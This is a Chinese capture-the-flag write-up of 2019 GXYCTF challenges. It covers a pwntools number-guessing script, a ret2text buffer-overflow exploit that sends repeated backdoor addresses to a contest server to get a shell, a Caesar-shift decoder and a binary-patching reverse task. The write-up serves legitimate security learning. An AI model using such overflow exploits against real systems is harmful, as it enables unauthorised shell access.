2019GXYCTF部分题目WriteUp

2019GXYCTF部分题目WriteUp

[babync]

  • 题目给出了一个ip和port 使用nc连接 让输入数字,随便输入一些数字,他会提示too smail和too big

  • 经过一顿猜,发现输入300000000000000000000000000时候是smail,400000000000000000000000000是big

  • 将猜解的步骤编写脚本,使用pwntools交互。

  • image-20191222124357821

  • image-20191222124423006

  • 逐步的来猜数字,最终得到正确的数字。

  • 脚本如下:

  • 
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *
    context.log_level = 'debug'
    r = remote("183.129.189.60",10029)

    for i in range(10):
      guess = "34028236692093846346337460"+str(i)+""
      r.sendline(guess)
      if len(guess) == 27:
          if r.recv(10) == "too big":
              print i-1
              break
          else:
              pass
      else:
          print "Err"

    r.interactive()

    # 300000000000000000000000000 - 350000000000000000000000000
  •  

[fantasy]

  • 简单的ret2text,直接覆盖rip到后门system('/bin/sh')即可。

  • exp如下:

  • 
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    # r = process("./fantasy")
    r = remote("183.129.189.60",10025)
    context.log_level = 'debug'
    r.recvuntil("message")
    shell_addr = 0x400735
    payload = ""

    payload += p64(shell_addr)*50

    r.sendline(payload)
    r.interactive()

image-20191222125248363

[Crypto1]

  • 给出了一个base64 解码后cipher = 'v)L_F0}@H0F49023@FE0#@EN%'

  • 知道flag的格式为 GXY{} ,尝试猜解,发现他们ascii相差47,比赛结束后听师傅讲是凯撒密码。

  • image-20191222125645991

  • 脚本如下:

  • 
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    cipher = 'v)*L*_F0<}@H0>F49023@FE0#@EN%'
    lst = [ord(i) for i in cipher]
    for i in range(len(lst)):
      if lst[i]+47 > 123:
          lst[i] = chr(lst[i]-47)
      else:
          lst[i] = chr(lst[i]+47)

    print ''.join(lst)
  • 最后一位为}更改即可

[Reverse100]

  • 分析main函数,有一个welcome()和一个patchme ,其中welcome函数只有一堆打印,关键点在pachme中
  • image-20191222130134425
  • 进入patchme发现他将eax寄存器置0了。
  • image-20191222130335600
  • 查看getflag函数,发现他并无传参,并且函数内部有5个分支,此时用动态调试将它走一遍。
  • image-20191222130436986
  • 其中默认是直接直接跳向了default的,我们将它nop掉。
  • image-20191222130810821
  • 然后发现eax寄存器存放的内容就是要跳转的分支,我们可以控制rax来修改程序的流程
  • image-20191222130918570
  • 首先让他跳向4008CA case4,然后经过400909 case5做运算,最后跳到400845 case1处。
  • image-20191222131533055
  • 因为在循环内,可以通过修改eax的值来跳转,最后在栈中发现最终拼接的字符串即为flag
  • image-20191222131258051
  •  

发表评论

电子邮件地址不会被公开。 必填项已用*标注